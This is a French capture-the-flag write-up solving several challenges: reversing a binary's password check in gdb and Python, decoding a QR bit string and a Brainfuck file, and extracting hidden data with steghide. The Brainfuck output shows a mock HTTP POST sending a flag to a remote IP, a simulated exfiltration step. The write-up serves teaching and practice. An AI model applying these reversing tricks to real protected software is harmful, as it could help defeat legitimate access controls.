A l’aide de gdb on peut récupérer les instructions assembleurs du binaire. Deux choses sont à remarquer. Premièrement, on observe ce qui est chargé par le programme à son lancement. On s’aperçoit que le programme charge un tas de données qui s’avèrent être des caractères.

(gdb) disas main
Dump of assembler code for function main:
   0x0000000000001155 <+0>: push   rbp
   0x0000000000001156 <+1>: mov    rbp,rsp
   0x0000000000001159 <+4>: push   rbx
   0x000000000000115a <+5>: sub    rsp,0x78
   0x000000000000115e <+9>: mov    DWORD PTR [rbp-0x74],edi
   0x0000000000001161 <+12>:    mov    QWORD PTR [rbp-0x80],rsi
   0x0000000000001165 <+16>:    mov    rax,QWORD PTR [rbp-0x80]
   0x0000000000001169 <+20>:    mov    rax,QWORD PTR [rax+0x8]
   0x000000000000116d <+24>:    mov    QWORD PTR [rbp-0x38],rax
   0x0000000000001171 <+28>:    mov    BYTE PTR [rbp-0x50],0xb6
   0x0000000000001175 <+32>:    mov    BYTE PTR [rbp-0x4f],0xa9
   0x0000000000001179 <+36>:    mov    BYTE PTR [rbp-0x4e],0xc2
   0x000000000000117d <+40>:    mov    BYTE PTR [rbp-0x4d],0xcd
   0x0000000000001181 <+44>:    mov    BYTE PTR [rbp-0x4c],0x8d
   0x0000000000001185 <+48>:    mov    BYTE PTR [rbp-0x4b],0x99
   0x0000000000001189 <+52>:    mov    BYTE PTR [rbp-0x4a],0xc0
   0x000000000000118d <+56>:    mov    BYTE PTR [rbp-0x49],0xaa
   0x0000000000001191 <+60>:    mov    BYTE PTR [rbp-0x48],0xab
   0x0000000000001195 <+64>:    mov    BYTE PTR [rbp-0x47],0xb9
   0x0000000000001199 <+68>:    mov    BYTE PTR [rbp-0x46],0xa9
   0x000000000000119d <+72>:    mov    BYTE PTR [rbp-0x45],0xc6
   0x00000000000011a1 <+76>:    mov    BYTE PTR [rbp-0x44],0x9f
   0x00000000000011a5 <+80>:    mov    BYTE PTR [rbp-0x43],0xbb
   0x00000000000011a9 <+84>:    mov    BYTE PTR [rbp-0x42],0xca
   0x00000000000011ad <+88>:    mov    BYTE PTR [rbp-0x41],0xcc
   0x00000000000011b1 <+92>:    mov    BYTE PTR [rbp-0x40],0x0
   0x00000000000011b5 <+96>:    mov    BYTE PTR [rbp-0x70],0x9e
   0x00000000000011b9 <+100>:   mov    BYTE PTR [rbp-0x6f],0xa2
   0x00000000000011bd <+104>:   mov    BYTE PTR [rbp-0x6e],0xa9
   0x00000000000011c1 <+108>:   mov    BYTE PTR [rbp-0x6d],0xa1
   0x00000000000011c5 <+112>:   mov    BYTE PTR [rbp-0x6c],0x99
   0x00000000000011c9 <+116>:   mov    BYTE PTR [rbp-0x6b],0xd0
   0x00000000000011cd <+120>:   mov    BYTE PTR [rbp-0x6a],0xa9
   0x00000000000011d1 <+124>:   mov    BYTE PTR [rbp-0x69],0xbd
   0x00000000000011d5 <+128>:   mov    BYTE PTR [rbp-0x68],0x86
   0x00000000000011d9 <+132>:   mov    BYTE PTR [rbp-0x67],0xc8
   0x00000000000011dd <+136>:   mov    BYTE PTR [rbp-0x66],0x86
   0x00000000000011e1 <+140>:   mov    BYTE PTR [rbp-0x65],0xc8
   0x00000000000011e5 <+144>:   mov    BYTE PTR [rbp-0x64],0xa3
   0x00000000000011e9 <+148>:   mov    BYTE PTR [rbp-0x63],0x85
   0x00000000000011ed <+152>:   mov    BYTE PTR [rbp-0x62],0xc9
   0x00000000000011f1 <+156>:   mov    BYTE PTR [rbp-0x61],0x98
   0x00000000000011f5 <+160>:   mov    BYTE PTR [rbp-0x60],0xbd
   0x00000000000011f9 <+164>:   mov    BYTE PTR [rbp-0x5f],0x88
   0x00000000000011fd <+168>:   mov    BYTE PTR [rbp-0x5e],0x89
   0x0000000000001201 <+172>:   mov    BYTE PTR [rbp-0x5d],0xc9
   0x0000000000001205 <+176>:   mov    BYTE PTR [rbp-0x5c],0x86
   0x0000000000001209 <+180>:   mov    BYTE PTR [rbp-0x5b],0xc3
   0x000000000000120d <+184>:   mov    BYTE PTR [rbp-0x5a],0xbc
   0x0000000000001211 <+188>:   mov    BYTE PTR [rbp-0x59],0xd2
   0x0000000000001215 <+192>:   mov    BYTE PTR [rbp-0x58],0x0
   0x0000000000001219 <+196>:   mov    DWORD PTR [rbp-0x14],0x0
   0x0000000000001220 <+203>:   cmp    DWORD PTR [rbp-0x74],0x2

Par la suite, on trouve dans le code du programme un boucle qui va réaliser une opération sur chacun des caractères du mot de passe. En effet, pour chaque caractère, le programme va ajouter la valeur 0x55. Il s’agit en réalité d’une fonction de chiffrement, utilisant une substitution mono-alphabétique (un ROT).

0x0000000000001246 <+241>:  mov    rax,QWORD PTR [rbp-0x20]
   0x000000000000124a <+245>:   lea    rdx,[rax+0x1]
   0x000000000000124e <+249>:   mov    QWORD PTR [rbp-0x20],rdx
   0x0000000000001252 <+253>:   movzx  edx,BYTE PTR [rax]
   0x0000000000001255 <+256>:   add    edx,0x55
   0x0000000000001258 <+259>:   mov    BYTE PTR [rax],dl
   0x000000000000125a <+261>:   mov    rax,QWORD PTR [rbp-0x20]
   0x000000000000125e <+265>:   movzx  eax,BYTE PTR [rax]
   0x0000000000001261 <+268>:   test   al,al
   0x0000000000001263 <+270>:   jne    0x1246 <main+241>

Ainsi, on peut récupérer le contenu des caractères chargés en début de programme, effectuer l’opération inverse du ROT sur ces derniers pour retrouver le mot de passe du binaire. Le code Python ci-dessous permet d’effectuer ces opérations.

>>> chaine = """0xb6
... 0xa9
... 0xc2
... 0xcd
... 0x8d
... 0x99
... 0xc0
... 0xaa
... 0xab
... 0xb9
... 0xa9
... 0xc6
... 0x9f
... 0xbb
... 0xca
... 0xcc
... 0x0
... 0x9e
... 0xa2
... 0xa9
... 0xa1
... 0x99
... 0xd0
... 0xa9
... 0xbd
... 0x86
... 0xc8
... 0x86
... 0xc8
... 0xa3
... 0x85
... 0xc9
... 0x98
... 0xbd
... 0x88
... 0x89
... 0xc9
... 0x86
... 0xc3
... 0xbc
... 0xd2
... 0x0"""
>>> chaine
'0xb6\n0xa9\n0xc2\n0xcd\n0x8d\n0x99\n0xc0\n0xaa\n0xab\n0xb9\n0xa9\n0xc6\n0x9f\n0xbb\n0xca\n0xcc\n0x0\n0x9e\n0xa2\n0xa9\n0xa1\n0x99\n0xd0\n0xa9\n0xbd\n0x86\n0xc8\n0x86\n0xc8\n0xa3\n0x85\n0xc9\n0x98\n0xbd\n0x88\n0x89\n0xc9\n0x86\n0xc3\n0xbc\n0xd2\n0x0'
>>> chaine.split('\n')
['0xb6', '0xa9', '0xc2', '0xcd', '0x8d', '0x99', '0xc0', '0xaa', '0xab', '0xb9', '0xa9', '0xc6', '0x9f', '0xbb', '0xca', '0xcc', '0x0', '0x9e', '0xa2', '0xa9', '0xa1', '0x99', '0xd0', '0xa9', '0xbd', '0x86', '0xc8', '0x86', '0xc8', '0xa3', '0x85', '0xc9', '0x98', '0xbd', '0x88', '0x89', '0xc9', '0x86', '0xc3', '0xbc', '0xd2', '0x0']
>>> listChaine = chaine.split('\n')
>>> list(map(lambda x: int(x,16),listChaine))
[182, 169, 194, 205, 141, 153, 192, 170, 171, 185, 169, 198, 159, 187, 202, 204, 0, 158, 162, 169, 161, 153, 208, 169, 189, 134, 200, 134, 200, 163, 133, 201, 152, 189, 136, 137, 201, 134, 195, 188, 210, 0]
>>> intList = list(map(lambda x: int(x,16),listChaine)
>>> list(map(lambda x: abs(x-0x55),intList))
[97, 84, 109, 120, 56, 68, 107, 85, 86, 100, 84, 113, 74, 102, 117, 119, 85, 73, 77, 84, 76, 68, 123, 84, 104, 49, 115, 49, 115, 78, 48, 116, 67, 104, 51, 52, 116, 49, 110, 103, 125, 85]
>>> rotList = list(map(lambda x: chr(abs(x-0x55)),intList))
>>> rotList
['a', 'T', 'm', 'x', '8', 'D', 'k', 'U', 'V', 'd', 'T', 'q', 'J', 'f', 'u', 'w', 'U', 'I', 'M', 'T', 'L', 'D', '{', 'T', 'h', '1', 's', '1', 's', 'N', '0', 't', 'C', 'h', '3', '4', 't', '1', 'n', 'g', '}', 'U']
>>> chn = "".join(rotList)
>>> chn
'aTmx8DkUVdTqJfuwUIMTLD{Th1s1sN0tCh34t1ng}U'

On récupère donc le flag IMTLD{Th1s1sN0tCh34t1ng}.


Stéganographie et Cryptographie

Slept on the keyboard - 50 pts

Le challenge démarre avec un QRcode à scanner. Ce dernier donne une chaine binaire.

$ zbarimg qrcode.png -q --raw
QR-Code:001110010011100100111001001110010110010001100100011001000110010000110100001101000011010000110100001101000110001101100011011000110110001100110100001101000011010000110100011000100110001001100010011000100110001001100010011000100011001100110011001100110011001100110100001101000011010000110100001101000011010000110100001101000011010000110100001100000011000000110000011001010110010101100101011001010110010101100101001101000011010000110100001101000011010000111000001110000011100000111000001110000011100000110011001100110011001101100010011000100110001001100010001100110011001100110011001110010011100100111001001110010011100100111001001110010011001000110010001100100011001000110010001100100011000000110000001100000011010000110100001101000011001000110010001100100011001000110010001100100011001000110100001101000011010000110100001101000011010001100100011001000110010001100100011001000110010001100100

Le binaire correspond en réalité à la chaine ASCII ci-dessous.

9999dddd44444cccc4444bbbbbbb33334444444444000eeeeee44444888888333bbbb33399999992222220004442222222444444ddddddd

Après quelques essais et quelques tests, il semble que le résultat se trouve dans la répétition des caractères. En effet, prenons l’exemple des 3 premières séquences :

  • 9999 –> 4 fois le chiffre 9 –> 49 –> La lettre “I” en hex ;
  • dddd –> 4 fois le chiffre d –> 4d –> La lettre “M” en hex
  • 44444 –> 5 fois le chiffre 4 –> 54 –> La lettre “T” en hex

En suivant cette logique, on retrouve assez rapidement le flag IMTLD{C4t0nTh3K3yb04rd}.


Xtracted - 100 pts

Le fichier “encoded.wtf” est en réalité un fichier texte composé des caractères suivants.

++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>++++++++++.-.++++.+.<++.+++++++++++++++.---------------.>------------.++++++++++++..----.<+++++++++++++++.++.---.+++.<++++++++++.>>--------.>+++++++++++.++++.+.<<+++++++++.<++++++++++++++++++++++.>-----.----.---.+++++++++.--.-------.++++.--.++.----.+++..++.<++++++++++.>>-----.>-----.-.++++++.---------------.+++++++++.++++++.<<------.>+++++++++++++++++.>+++++.---------.-----------.<<+++++++++++++.<++++++++++++++++++++++.>>>----.+++++++++++++++..----.---.------.--.+++++++++++++++++++.-----------.++++++.-.<<-----------.>>++++++++++.<<--.>>-...<<.>>-----------------.+++++++++.+++.-----.<<.>>++++++++.---.------.-------.+++++++++.-----------.++++++++++++.-----------.+.-.<<<++++++++++.>>>+.+++++++++++++++++++.----.--.<+++++++++++++.++.>++.<++++++.>-----.-.<----------.>-----.+++++.<+++++++.>+.<<++++++++++++++++.++++++++++++.++++.+++++++.--------.--------.>>++++++++++++.<--------------.>-------.--.<<----------------.>+++++++++++.>++.<----.<++++++++++++++++.----------------.>>.<<.>.-----------.<----.>+++++++++++.>--.<<+++.>>-----.<<---.>>+++++++.<<+++.>.>-.<<.>>-.++++.<<.>-------------.>+++++++.

Assez rapidement, on se rend compte qu’il s’agit d’un texte codé en langage “Brainfuck”. Ainsi, on peut le décoder avec un utilitaire en ligne et retrouver le flag :).

POST / HTTP/1.1 Host:*51.75.202.1134Content-Type:Japplication/x-www-form-urlencodedTextraction_info=IMTLD{Xtr4ct_D4t4_T0_r3m0t3_s3rv3R}


Stego101 - 150 pts

Ce challenge permet de retrouver deux concepts très simples que l’ont peut voir dans les premiers challenges de stéganographie. La première étape est d’aller regarder du côté des métadonnées. On y trouve notamment un commentaire “steghide : doyouknowdaway”.

$ exiftool challenge.jpg                                                                                                                                                   
ExifTool Version Number         : 11.11
File Name                       : challenge.jpg
Directory                       : .
File Size                       : 7.0 kB
File Modification Date/Time     : 2018:12:19 15:03:41+01:00
File Access Date/Time           : 2018:12:25 22:31:35+01:00
File Inode Change Date/Time     : 2018:12:19 20:17:05+01:00
File Permissions                : rw-r--r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : inches
X Resolution                    : 300
Y Resolution                    : 300
Comment                         : steghide : doyouknowdaway
Image Width                     : 297
Image Height                    : 153
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:4:4 (1 1)
Image Size                      : 297x153
Megapixels                      : 0.045

L’indice indique l’utilisation de l’outil steghide permettant notamment d’embarquer des données dans une image puis de les extraire, à l’aide d’un mot de passe. Ainsi, on récupère un fichier grâce au mot de passe trouvé dans les métadonnées de l’image.

$ steghide extract -sf challenge.jpg                                                                                                                                       
Enter passphrase: 
wrote extracted data to "flag.txt".

Le fichier contient le flag IMTLD{st3g4N0gr4phY_c4N_b3_r34llY_s1mpl3}.


Le mot de la fin

Vivement la prochaine édition !

ECW 2018 - Web - Intrusion (5 challenges) NorzhCTF 2019 & RedHackCTF 2019 - Windows AD - Game of Pwn